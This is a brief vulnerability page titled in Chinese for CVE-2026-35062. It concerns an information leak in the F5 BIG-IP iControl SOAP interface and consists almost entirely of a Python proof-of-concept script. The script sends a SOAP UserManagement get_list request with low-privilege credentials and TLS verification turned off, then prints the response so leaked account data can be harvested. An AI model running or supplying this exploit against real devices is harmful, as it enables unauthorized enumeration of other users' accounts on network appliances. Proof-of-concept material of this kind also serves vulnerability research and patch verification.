CVE-2026-35062 F5 BIG-IP iControl SOAP信息泄露漏洞

import requests from requests.auth import HTTPBasicAuth # CVE-2026-35062 PoC Concept # Target: F5 BIG-IP iControl SOAP Interface # Description: Attempts to retrieve user information using authenticated low-privilege session. target_url = "https://<TARGET_IP>:443/iControl/iControlPortal" username = "low_priv_user" password = "password" # SOAP payload to list all users (potentially exposing other accounts) soap_payload = '''<?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> <SOAP-ENV:Body> <m:get_list xmlns:m="urn:iControl:Management/UserManagement"> </m:get_list> </SOAP-ENV:Body> </SOAP-ENV:Envelope>''' headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'urn:iControl:Management/UserManagement' } try: # Sending the request with authentication response = requests.post(target_url, data=soap_payload, headers=headers, auth=HTTPBasicAuth(username, password), verify=False) if response.status_code == 200: print("[+] Request successful. Check response for user data leakage.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")